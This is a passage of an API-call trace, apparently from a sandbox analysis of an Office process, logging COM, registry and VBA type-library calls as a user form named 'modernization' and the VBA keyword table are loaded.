Data2=0x16dc, Data3=0x11ce, Data4=([0]=0x9e, [1]=0x98, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x57, [6]=0x4a, [7]=0x4f)), lplpszProgID=0x2650c0 | out: lplpszProgID=0x2650c0*="Forms.Form.1") returned 0x0 [0017.288] IMalloc:Alloc (This=0x7fefefb5380, cb=0x19) returned 0x737a020 [0017.288] lstrlenA (lpString="Forms.Form.1") returned 12 [0017.288] IMalloc:Realloc (This=0x7fefefb5380, pv=0x737a020, cb=0xd) returned 0x7466540 [0017.288] IMalloc:Free (This=0x7fefefb5380, pv=0x73887e0) [0017.288] lstrcpyA (in: lpString1=0x2650e0, lpString2="Form" | out: lpString1="Form") returned="Form" [0017.289] IMalloc:Free (This=0x7fefefb5380, pv=0x7466540) [0017.289] StringFromGUID2 (in: rguid=0x16f638*(Data1=0xc62a69f0, Data2=0x16dc, Data3=0x11ce, Data4=([0]=0x9e, [1]=0x98, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x57, [6]=0x4a, [7]=0x4f)), lpsz=0x73dbf28, cchMax=40 | out: lpsz="{C62A69F0-16DC-11CE-9E98-00AA00574A4F}") returned 39 [0017.290] wsprintfA (in: param_1=0x264fe0, param_2="%s%s%s%s%s" | out: param_1="Clsid\\{C62A69F0-16DC-11CE-9E98-00AA00574A4F}\\InprocServer32") returned 59 [0017.290] RegOpenKeyExA (in: hKey=0xffffffff80000000, lpSubKey="Clsid\\{C62A69F0-16DC-11CE-9E98-00AA00574A4F}\\InprocServer32", ulOptions=0x0, samDesired=0x20019, phkResult=0x264fb8 | out: phkResult=0x264fb8*=0x5c6) returned 0x0 [0017.290] RegQueryValueExA (in: hKey=0x5c6, lpValueName="ThreadingModel", lpReserved=0x0, lpType=0x0, lpData=0x264fc0, lpcbData=0x264fb0*=0x14 | out: lpType=0x0, lpData=0x264fc0*=0x41, lpcbData=0x264fb0*=0xa) returned 0x0 [0017.290] lstrcmpiA (lpString1="Apartment", lpString2="Apartment") returned 0 [0017.290] lstrcmpiA (lpString1="Apartment", lpString2="Free") returned -1 [0017.290] lstrcmpiA (lpString1="Apartment", lpString2="Both") returned -1 [0017.290] RegCloseKey (hKey=0x5c6) returned 0x0 [0017.290] CoCreateGuid (in: pguid=0x16f694 | out: pguid=0x16f694*(Data1=0x4b93351, Data2=0xe3be, Data3=0x40a1, Data4=([0]=0xab, [1]=0xc, [2]=0x8b, [3]=0x50, [4]=0xbd, [5]=0x9c, [6]=0x9a, [7]=0xb))) returned 0x0 [0017.290] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="Name") returned 0x10f2f0 [0017.290] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="Caption") returned 0x107810 [0017.290] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="_") returned 0x101076 [0017.290] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="_") returned 0x101076 [0017.290] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="_") returned 0x101076 [0017.290] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="Left") returned 0x107be5 [0017.290] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="Top") returned 0x10da35 [0017.290] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="Width") returned 0x104e68 [0017.290] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="Height") returned 0x108b7c [0017.290] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="Enabled") returned 0x10aadb [0017.290] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="_") returned 0x101076 [0017.290] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="_") returned 0x101076 [0017.290] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="_") returned 0x101076 [0017.290] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="_") returned 0x101076 [0017.290] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="_") returned 0x101076 [0017.290] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="_") returned 0x101076 [0017.290] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="_") returned 0x101076 [0017.291] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="_") returned 0x101076 [0017.291] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="_") returned 0x101076 [0017.291] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="_") returned 0x101076 [0017.291] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="_") returned 0x101076 [0017.291] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="_") returned 0x101076 [0017.291] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="_") returned 0x101076 [0017.291] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="_") returned 0x101076 [0017.291] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="_") returned 0x101076 [0017.291] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="_") returned 0x101076 [0017.291] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="_") returned 0x101076 [0017.291] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="_") returned 0x101076 [0017.291] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="_") returned 0x101076 [0017.291] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="_") returned 0x101076 [0017.291] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="_") returned 0x101076 [0017.291] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="_") returned 0x101076 [0017.291] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="_") returned 0x101076 [0017.291] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="_") returned 0x101076 [0017.291] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="_") returned 0x101076 [0017.291] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="_") returned 0x101076 [0017.291] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="_") returned 0x101076 [0017.291] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="_") returned 0x101076 [0017.291] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="_") returned 0x101076 [0017.291] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="_") returned 0x101076 [0017.291] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="_") returned 0x101076 [0017.291] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="_") returned 0x101076 [0017.291] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="_") returned 0x101076 [0017.291] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="_") returned 0x101076 [0017.291] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="_") returned 0x101076 [0017.291] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="OleObjectBlob") returned 0x1098c2 [0017.291] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="Visible") returned 0x10d3b6 [0017.291] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="Tag") returned 0x10d826 [0017.291] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="_") returned 0x101076 [0017.291] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="_") returned 0x101076 [0017.291] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="_") returned 0x101076 [0017.291] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="HelpContextID") returned 0x102275 [0017.291] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="_") returned 0x101076 [0017.291] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="ClientLeft") returned 0x104925 [0017.291] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="ClientTop") returned 0x109869 [0017.291] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="ClientWidth") returned 0x1028e4 [0017.291] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="ClientHeight") returned 0x107da9 [0017.291] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="_") returned 0x101076 [0017.291] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="_") returned 0x101076 [0017.291] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="_") returned 0x101076 [0017.291] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="_") returned 0x101076 [0017.291] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="_") returned 0x101076 [0017.291] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="_") returned 0x101076 [0017.291] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="_") returned 0x101076 [0017.291] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="_") returned 0x101076 [0017.291] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="_") returned 0x101076 [0017.291] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="WhatsThisButton") returned 0x104418 [0017.291] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="WhatsThisHelp") returned 0x103fe5 [0017.291] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="_") returned 0x101076 [0017.291] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="RightToLeft") returned 0x10e0c6 [0017.291] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="StartUpPosition") returned 0x10fb67 [0017.291] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="_") returned 0x101076 [0017.291] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="_") returned 0x101076 [0017.291] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="_") returned 0x101076 [0017.291] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="_") returned 0x101076 [0017.291] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="ShowModal") returned 0x109408 [0017.291] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="TypeInfoVer") returned 0x107334 [0017.292] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="Move") returned 0x10793e [0017.292] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="_") returned 0x101076 [0017.292] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="_") returned 0x101076 [0017.292] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="Show") returned 0x10f50f [0017.292] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="Hide") returned 0x107a39 [0017.292] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="PrintForm") returned 0x101f14 [0017.292] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="WhatsThisMode") returned 0x105081 [0017.292] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="Resize") returned 0x103440 [0017.292] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="QueryClose") returned 0x10f454 [0017.292] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="Activate") returned 0x107c97 [0017.292] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="Deactivate") returned 0x10ae6a [0017.292] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="Initialize") returned 0x104ed3 [0017.292] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="Terminate") returned 0x104c79 [0017.293] StringFromGUID2 (in: rguid=0x265490*(Data1=0xc62a69f0, Data2=0x16dc, Data3=0x11ce, Data4=([0]=0x9e, [1]=0x98, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x57, [6]=0x4a, [7]=0x4f)), lpsz=0x743eeb8, cchMax=256 | out: lpsz="{C62A69F0-16DC-11CE-9E98-00AA00574A4F}") returned 39 [0017.293] wsprintfA (in: param_1=0x2650f0, param_2="%s%s%s%s%s" | out: param_1="Clsid\\{C62A69F0-16DC-11CE-9E98-00AA00574A4F}\\Instance CLSID") returned 59 [0017.293] RegQueryValueA (in: hKey=0xffffffff80000000, lpSubKey="Clsid\\{C62A69F0-16DC-11CE-9E98-00AA00574A4F}\\Instance CLSID", lpData=0x264ff0, lpcbData=0x264fe0 | out: lpData="{C62A69F0-16DC-11CE-9E98-00AA00574A4F}", lpcbData=0x264fe0) returned 0x2 [0017.294] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="Forms.Form") returned 0x101727 [0017.294] lstrcmpiA (lpString1="Forms.Form", lpString2="Control") returned 1 [0017.294] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="Forms.Form") returned 0x101727 [0017.294] lstrlenA (lpString="modernization") returned 13 [0017.294] lstrcmpiA (lpString1="Begin", lpString2="Caption") returned -1 [0017.294] lstrcmpiA (lpString1="End", lpString2="Caption") returned 1 [0017.295] lstrcpynA (in: lpString1=0x265830, lpString2="Caption", iMaxLength=256 | out: lpString1="Caption") returned="Caption" [0017.295] lstrcmpiA (lpString1="Begin", lpString2="ClientHeight") returned -1 [0017.295] lstrcmpiA (lpString1="End", lpString2="ClientHeight") returned 1 [0017.295] lstrcpynA (in: lpString1=0x265830, lpString2="ClientHeight", iMaxLength=256 | out: lpString1="ClientHeight") returned="ClientHeight" [0017.295] lstrcmpiA (lpString1="Begin", lpString2="ClientLeft") returned -1 [0017.295] lstrcmpiA (lpString1="End", lpString2="ClientLeft") returned 1 [0017.295] lstrcpynA (in: lpString1=0x265830, lpString2="ClientLeft", iMaxLength=256 | out: lpString1="ClientLeft") returned="ClientLeft" [0017.295] lstrcmpiA (lpString1="Begin", lpString2="ClientTop") returned -1 [0017.295] lstrcmpiA (lpString1="End", lpString2="ClientTop") returned 1 [0017.295] lstrcpynA (in: lpString1=0x265830, lpString2="ClientTop", iMaxLength=256 | out: lpString1="ClientTop") returned="ClientTop" [0017.295] lstrcmpiA (lpString1="Begin", lpString2="ClientWidth") returned -1 [0017.295] lstrcmpiA (lpString1="End", lpString2="ClientWidth") returned 1 [0017.295] lstrcpynA (in: lpString1=0x265830, lpString2="ClientWidth", iMaxLength=256 | out: lpString1="ClientWidth") returned="ClientWidth" [0017.295] lstrcmpiA (lpString1="Begin", lpString2="StartUpPosition") returned -1 [0017.295] lstrcmpiA (lpString1="End", lpString2="StartUpPosition") returned -1 [0017.295] lstrcpynA (in: lpString1=0x265830, lpString2="StartUpPosition", iMaxLength=256 | out: lpString1="StartUpPosition") returned="StartUpPosition" [0017.295] lstrcmpiA (lpString1="Begin", lpString2="TypeInfoVer") returned -1 [0017.295] lstrcmpiA (lpString1="End", lpString2="TypeInfoVer") returned -1 [0017.295] lstrcpynA (in: lpString1=0x265830, lpString2="TypeInfoVer", iMaxLength=256 | out: lpString1="TypeInfoVer") returned="TypeInfoVer" [0017.295] lstrcmpiA (lpString1="Begin", lpString2="End") returned -1 [0017.295] lstrcmpiA (lpString1="End", lpString2="End") returned 0 [0017.295] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x265730, cbMultiByte=-1, lpWideCharStr=0x265460, cchWideChar=39 | out: lpWideCharStr="{C62A69F0-16DC-11CE-9E98-00AA00574A4F}") returned 39 [0017.295] CLSIDFromString (in: lpsz="{C62A69F0-16DC-11CE-9E98-00AA00574A4F}", pclsid=0x2654b0 | out: pclsid=0x2654b0*(Data1=0xc62a69f0, Data2=0x16dc, Data3=0x11ce, Data4=([0]=0x9e, [1]=0x98, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x57, [6]=0x4a, [7]=0x4f))) returned 0x0 [0017.295] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="modernization") returned 0x10e832 [0017.295] lstrcmpiA (lpString1="modernization", lpString2="Control") returned 1 [0017.295] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="modernization") returned 0x10e832 [0017.295] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="modernization") returned 0x10e832 [0017.295] lstrlenA (lpString="modernization") returned 13 [0017.295] lstrcpyA (in: lpString1=0x16f925, lpString2="modernization" | out: lpString1="modernization") returned="modernization" [0017.295] lstrcmpiA (lpString1="End", lpString2="End") returned 0 [0017.295] CExposedDocFile::Release () returned 0x1 [0017.295] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x16d415, cbMultiByte=-1, lpWideCharStr=0x265a40, cchWideChar=14 | out: lpWideCharStr="modernization") returned 14 [0017.295] lstrcpyA (in: lpString1=0x1c4caa0, lpString2="" | out: lpString1="") returned="" [0017.296] StringFromGUID2 (in: rguid=0x7fef41be090*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lpsz=0x73dbf28, cchMax=39 | out: lpsz="{00000000-0000-0000-0000-000000000000}") returned 39 [0017.296] CExposedStream::Commit () returned 0x0 [0017.297] CExposedStream::Release () returned 0x0 [0017.297] CExposedDocFile::OpenStream () returned 0x80030002 [0017.297] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1c4efe0, cbMultiByte=-1, lpWideCharStr=0x265ab0, cchWideChar=39 | out: lpWideCharStr="{3832D640-CF90-11CF-8E43-00A0C911005A}") returned 39 [0017.297] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1c4f007, cbMultiByte=-1, lpWideCharStr=0x265aa0, cchWideChar=4 | out: lpWideCharStr="VBE") returned 4 [0017.297] lstrlenA (lpString="Project") returned 7 [0017.297] GetCurrentThreadId () returned 0x938 [0017.297] GetCurrentThreadId () returned 0x938 [0017.297] GetCursorPos (in: lpPoint=0x265c70 | out: lpPoint=0x265c70*(x=463, y=330)) returned 1 [0017.297] GetCapture () returned 0x0 [0017.297] WindowFromPoint (Point=0x14a000001cf) returned 0x101f4 [0017.297] GetWindowThreadProcessId (in: hWnd=0x101f4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x938 [0017.297] SendMessageA (hWnd=0x101f4, Msg=0x84, wParam=0x0, lParam=0x14a01cf) returned 0x1 [0017.297] SendMessageA (hWnd=0x101f4, Msg=0x20, wParam=0x101f4, lParam=0x2000001) returned 0x1 [0017.302] SetCursor (hCursor=0x10007) returned 0x10007 [0017.302] GetCurrentThreadId () returned 0x938 [0017.302] GetCurrentThreadId () returned 0x938 [0017.303] GetLocalTime (in: lpSystemTime=0x2654d0 | out: lpSystemTime=0x2654d0*(wYear=0x7e1, wMonth=0x8, wDayOfWeek=0x2, wDay=0x16, wHour=0x1, wMinute=0x22, wSecond=0x0, wMilliseconds=0x131)) [0017.303] _ultow_s (in: _Value=0x5b6e3d08, _Buffer=0x71e8e9a, _BufferCount=0x103, _Radix=16 | out: _Buffer="5b6e3d08") returned 0x0 [0017.303] wcsncpy_s (in: _Destination=0x265200, _SizeInWords=0x108, _Source="*\\Z015b6e3d08", _MaxCount=0x106 | out: _Destination="*\\Z015b6e3d08") returned 0x0 [0017.303] CharLowerBuffW (in: lpsz="*\\Z015b6e3d08", cchLength=0xd | out: lpsz="*\\z015b6e3d08") returned 0xd [0017.303] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\z015b6e3d08", cchWideChar=14, lpMultiByteStr=0x265120, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\z015b6e3d08", lpUsedDefaultChar=0x0) returned 14 [0017.303] wcscpy_s (in: _Destination=0x73dbda8, _SizeInWords=0xe, _Source="*\\Z015b6e3d08" | out: _Destination="*\\Z015b6e3d08") returned 0x0 [0017.303] wcsncpy_s (in: _Destination=0x265230, _SizeInWords=0x108, _Source="*\\Z015b6e3d08", _MaxCount=0x106 | out: _Destination="*\\Z015b6e3d08") returned 0x0 [0017.303] CharLowerBuffW (in: lpsz="*\\Z015b6e3d08", cchLength=0xd | out: lpsz="*\\z015b6e3d08") returned 0xd [0017.303] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\z015b6e3d08", cchWideChar=14, lpMultiByteStr=0x265150, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\z015b6e3d08", lpUsedDefaultChar=0x0) returned 14 [0017.303] CExposedDocFile::AddRef () returned 0x2 [0017.303] wcscpy_s (in: _Destination=0x6ee3270, _SizeInWords=0x7, _Source="__SRP_" | out: _Destination="__SRP_") returned 0x0 [0017.304] GetLocaleInfoA (in: Locale=0x409, LCType=0x1004, lpLCData=0x264ea0, cchData=6 | out: lpLCData="1252") returned 5 [0017.304] atoi (_Str="1252") returned 1252 [0017.304] GetLocalTime (in: lpSystemTime=0x264e90 | out: lpSystemTime=0x264e90*(wYear=0x7e1, wMonth=0x8, wDayOfWeek=0x2, wDay=0x16, wHour=0x1, wMinute=0x22, wSecond=0x0, wMilliseconds=0x131)) [0017.304] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x3eb0000 [0017.315] VirtualAlloc (lpAddress=0x0, dwSize=0x40000, flAllocationType=0x2000, flProtect=0x4) returned 0x4080000 [0017.316] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Left") returned 0x107be5 [0017.316] VirtualAlloc (lpAddress=0x0, dwSize=0x3000, flAllocationType=0x1000, flProtect=0x4) returned 0x3f40000 [0017.317] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Object") returned 0x102ec1 [0017.317] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x3f50000 [0017.318] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x3f60000 [0017.319] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x40d0000 [0017.319] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Intrinsics") returned 0x109464 [0017.319] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x40e0000 [0017.320] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Unknown") returned 0x10a11d [0017.320] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="") returned 0x10c0b3 [0017.320] VirtualAlloc (lpAddress=0x0, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x40f0000 [0017.321] VirtualAlloc (lpAddress=0x0, dwSize=0x40000, flAllocationType=0x2000, flProtect=0x4) returned 0x4ac0000 [0017.321] CExposedDocFile::CreateStream () returned 0x0 [0017.321] CExposedStream::AddRef () returned 0x2 [0017.321] CExposedStream::Release () returned 0x1 [0017.321] CExposedStream::Release () returned 0x0 [0017.321] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="0") returned 0x101047 [0017.321] VirtualAlloc (lpAddress=0x0, dwSize=0x3000, flAllocationType=0x1000, flProtect=0x4) returned 0x4100000 [0017.322] VirtualAlloc (lpAddress=0x4ac0000, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x4ac0000 [0017.322] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Abs") returned 0x1072bc [0017.322] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Access") returned 0x101d98 [0017.322] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="AddressOf") returned 0x10e252 [0017.322] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Alias") returned 0x10bf6d [0017.323] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="And") returned 0x107469 [0017.323] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Any") returned 0x10747a [0017.323] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Append") returned 0x108f83 [0017.323] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Array") returned 0x109183 [0017.323] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="As") returned 0x105c8d [0017.323] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Assert") returned 0x1096e9 [0017.323] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="B") returned 0x101059 [0017.323] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Base") returned 0x10afa9 [0017.323] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="BF") returned 0x105ca5 [0017.323] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Binary") returned 0x1008a0 [0017.323] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Boolean") returned 0x10978e [0017.323] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ByRef") returned 0x1074ef [0017.323] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Byte") returned 0x101a83 [0017.323] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ByVal") returned 0x1089c5 [0017.323] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Call") returned 0x10744b [0017.323] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Case") returned 0x107547 [0017.323] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CBool") returned 0x104c74 [0017.323] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CByte") returned 0x106d3c [0017.323] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CCur") returned 0x108050 [0017.323] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CDate") returned 0x108dc3 [0017.323] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CDec") returned 0x10834a [0017.323] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CDbl") returned 0x1082e4 [0017.323] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CDecl") returned 0x10a0b9 [0017.323] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ChDir") returned 0x10b2fb [0017.323] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CInt") returned 0x109f65 [0017.323] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Circle") returned 0x103fd1 [0017.323] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CLng") returned 0x10af63 [0017.323] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Close") returned 0x1005ab [0017.323] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Compare") returned 0x10af82 [0017.323] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Const") returned 0x10517a [0017.323] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CSng") returned 0x10d4d2 [0017.323] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CStr") returned 0x10d5bb [0017.323] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CurDir") returned 0x101bab [0017.323] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CurDir$") returned 0x10f7cc [0017.323] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CurDir") returned 0x101bab [0017.323] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CVar") returned 0x10e307 [0017.323] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CVDate") returned 0x10cfd6 [0017.323] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CVErr") returned 0x108902 [0017.323] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Currency") returned 0x10f106 [0017.323] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Database") returned 0x10eec7 [0017.323] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Date") returned 0x103b0a [0017.323] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Date$") returned 0x1031c7 [0017.323] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Date") returned 0x103b0a [0017.323] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Debug") returned 0x10eaee [0017.323] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Decimal") returned 0x1036dd [0017.323] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Declare") returned 0x104a38 [0017.323] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefBool") returned 0x1091ad [0017.323] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefByte") returned 0x10b275 [0017.324] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefCur") returned 0x10cc45 [0017.324] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefDate") returned 0x10d2fc [0017.324] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefDec") returned 0x10cf3f [0017.324] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefDbl") returned 0x10ced9 [0017.324] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefInt") returned 0x10eb5a [0017.324] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefLng") returned 0x10fb58 [0017.324] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefObj") returned 0x10096b [0017.324] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefSng") returned 0x102088 [0017.324] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefStr") returned 0x102171 [0017.324] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefVar") returned 0x102ebd [0017.324] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Dim") returned 0x1083c4 [0017.324] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Dir") returned 0x1083c9 [0017.324] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Dir$") returned 0x106567 [0017.324] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Dir") returned 0x1083c9 [0017.324] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Do") returned 0x105cf8 [0017.324] LHashValOfNameSysA (syskind=0x3, 